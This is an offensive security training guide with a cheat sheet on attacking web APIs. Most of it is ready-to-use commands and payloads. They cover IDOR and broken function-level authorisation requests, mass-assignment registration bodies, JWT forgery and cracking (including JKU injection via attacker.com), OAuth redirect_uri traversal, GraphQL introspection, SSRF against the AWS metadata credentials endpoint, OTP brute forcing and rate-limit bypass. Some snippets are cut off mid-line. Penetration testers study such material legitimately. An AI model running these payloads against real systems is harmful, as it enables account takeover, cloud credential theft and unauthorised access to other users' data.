



◆ OFFENSIVE SECURITY SERIES ◆

API SECURITY TESTING

REST, GraphQL, OAuth & JWT

IDOR · BFLA · Mass Assignment · JWT · OAuth · GraphQL · SSRF

IDOR/BOLA

BFLA

Mass Assignment

JWT Attacks

OAuth

GraphQL

SSRF via API

RedTeamGarage (RTG) | Offensive Security Education

<https://www.redteamgarage.com/>

LEGAL DISCLAIMER

This guide is produced by RedTeamGarage (RTG) for educational purposes only. All techniques must ONLY be used on systems you own or have explicit written authorisation to test. RTG assumes zero liability for any misuse of this material.

**TABLE OF CONTENTS**

API SECURITY TESTING — REST, GraphQL, OAuth & JWT

01.	API DISCOVERY — ENDPOINT MAPPING & SWAGGER
02.	BOLA/IDOR & BFLA — AUTH BYPASS
03.	MASS ASSIGNMENT, JWT, OAUTH & GRAPHQL
04.	SSRF, RATE LIMITING & BUSINESS LOGIC
05.	API SECURITY CHEAT SHEET



01 — API DISCOVERY

Endpoint Mapping & Swagger

```
API Discovery – Endpoint Mapping & Swagger

# Find API documentation
ffuf -u https://target.com/FUZZ -w api-wordlist.txt -mc 200,301
# /api /v1 /v2 /swagger /openapi.json /api-docs /swagger-ui.html /graphql
# Extract endpoints from Swagger
curl https://target.com/api/v1/swagger.json | python3 -c "import json,sys; [print(p) for p in json.load(sys.stdin)]"
# Version fuzzing
ffuf -u https://target.com/api/FUZZ/users -w api-versions.txt -mc 200,401,403
# Extract from JS
python3 linkfinder.py -i https://target.com -d -o cli | grep /api
```

Figure: Swagger UI found at /api-docs — 47 endpoints extracted including hidden admin routes



02 — BOLA/IDOR & BFLA

Object & Function Auth

```
BOLA/IDOR & BFLA – Object and Function Auth Bypass

# IDOR – change object ID
curl https://api.target.com/v1/users/101/profile -H 'Authorization: Bearer USER_100_TOKEN'
# 200 OK → IDOR!
# IDOR in POST body
curl -X POST https://api.target.com/v1/orders -H 'Authorization: Bearer TOKEN' -d '{"user_id":999,"item":"laptop"'
# Authorize Burp extension – automated IDOR
# Login as user A → paste cookie in Authorize → browse as user B
# Red = BYPASSED = IDOR
# BFLA – access admin functions with user token
curl -X DELETE https://api.target.com/v1/users/100 -H 'Authorization: Bearer USER_TOKEN'
# 200 OK → BFLA!
# Admin endpoint discovery
ffuf -u https://api.target.com/v1/FUZZ -w api-endpoints.txt -H 'Authorization: Bearer USER_TOKEN' -mc 200,201
```

Figure: User 100 token accesses user 101's data (IDOR) and deletes users (BFLA)



03 — MASS ASSIGNMENT, JWT, OAUTH

Advanced Auth Attacks

```

Mass Assignment, JWT Attacks, OAuth & GraphQL

# Mass assignment
curl -X POST https://api.target.com/v1/register -H 'Content-Type: application/json' \
  -d '{"name":"John","email":"j@x.com","password":"P@ss!","role":"admin","isAdmin":true,"balance":99999}'

# JWT attacks
python3 jwt_tool.py TOKEN # decode
python3 jwt_tool.py TOKEN -X a # none algorithm
python3 jwt_tool.py TOKEN -X k -pk pub.pem # RS256→HS256 confusion
python3 jwt_tool.py TOKEN -X j -ju https://attacker.com/jwks.json # JKU inject
python3 jwt_tool.py TOKEN -C -d rockyou.txt # brute force secret
python3 jwt_tool.py TOKEN -T # tamper claims interactively

# OAuth - open redirect in redirect_uri
# redirect_uri=https://app.com/callback%2F..%2F..%2Fattacker.com

# GraphQL introspection
curl -X POST https://target.com/graphql -d '{"query":"{__schema{types{name fields{name}}}}}"'

```

Figure: JWT RS256→HS256 confusion creates admin token, GraphQL introspection dumps full schema



04 — SSRF & LOGIC FLAWS

Rate Limits & Business Logic

```

SSRF via API, Rate Limiting & Business Logic

# SSRF via API URL parameter
curl -X POST https://api.target.com/v1/fetch -d '{"url":"http://169.254.169.254/latest/meta-data/iam/security-cre

# OTP brute force (no rate limit)
ffuf -u https://api.target.com/v1/verify -X POST -H 'Content-Type: application/json' \
-H 'Authorization: Bearer TOKEN' -d '{"code":"FUZZ"}' -w <(seq -w 0 999999) -mc 200 -t 50

# Race condition - coupon abuse
# 30 concurrent threads to redeem endpoint
# Rate limit bypass
curl -X POST https://api.target.com/v1/login -H 'X-Forwarded-For: 10.0.0.$(( RANDOM % 254 ))' -d '{"u":"admin","p

# Shadow API - old version bypass
curl https://api.target.com/v1/admin/users -H 'Authorization: Bearer USER_TOKEN'

# v1 may lack auth controls added in v2

```

Figure: AWS metadata SSRF returns IAM creds, OTP brute force succeeds in 28s



05 — API SECURITY CHEAT SHEET

Quick Reference

Find Swagger	<code>ffuf -u https://target.com/FUZZ -w api-paths.txt -mc 200 (swagger.json, openapi.json, api-docs)</code>
Extract endpoints	<code>curl https://target.com/swagger.json python3 -c "import json,sys; [print(p) for p in json.load(sys.stdin)['paths']]"</code>
Version fuzz	<code>ffuf -u https://target.com/api/FUZZ/users -w api-versions.txt -mc 200,401,403</code>
IDOR test	Change user ID in URL: <code>/api/users/100</code> → <code>/api/users/101</code> with same token
Authorize IDOR	Burp → Authorize extension → paste victim cookie → browse as attacker → red = IDOR
BFLA test	<code>curl -X DELETE /api/v1/users/100</code> with regular user token – 200 = BFLA
Mass assignment	POST <code>/register</code> with extra: <code>role, isAdmin, balance, verified, admin</code> fields
JWT decode	<code>python3 jwt_tool.py TOKEN</code>
JWT none alg	<code>python3 jwt_tool.py TOKEN -X a</code>
JWT alg confusion	<code>python3 jwt_tool.py TOKEN -X k -pk public_key.pem</code>
JWT JKU inject	<code>python3 jwt_tool.py TOKEN -X j -ju https://attacker.com/jwks.json</code>
JWT brute force	<code>python3 jwt_tool.py TOKEN -C -d rockyou.txt</code> OR <code>hashcat -m 16500</code>
JWT tamper	<code>python3 jwt_tool.py TOKEN -T</code> (change role, sub, exp interactively)
OAuth redirect	Modify <code>redirect_uri</code> with path traversal: <code>/callback/../../../../attacker.com</code>
OAuth state CSRF	Check <code>state=</code> parameter exists in authorization URL
GraphQL introspect	POST <code>{"query":"{__schema{types{name fields{name}}}}}"</code>
GraphQL batch brute	Array of 100 login mutations in single POST request
SSRF AWS metadata	POST <code>{"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/"}</code>
OTP brute	<code>ffuf -X POST -d '{"code":"FUZZ"}' -w <(seq -w 0 999999) -mc 200 -t 50</code>
Race condition	30 concurrent threads posting to coupon endpoint simultaneously
Rate limit bypass	Add <code>X-Forwarded-For: RANDOM_IP</code> header to bypass per-IP rate limiting
Shadow API	Test <code>/v1/</code> endpoints with user token when <code>/v2/</code> returns 403



CONNECT WITH REDTEAMGARAGE (RTG)

The Community. The Knowledge. The Edge.



Official Website	https://www.redteamgarage.com/
Telegram	https://t.me/redteamgarage
LinkedIn	https://www.linkedin.com/company/redteamgarage-rtg

RTG MISSION

Real-world offensive security training - practical, no fluff, built for serious learners.

Build the most comprehensive red team technique library available anywhere.

Train the next generation of elite offensive security professionals globally.

© RedTeamGarage (RTG). All content for educational and authorized security testing only.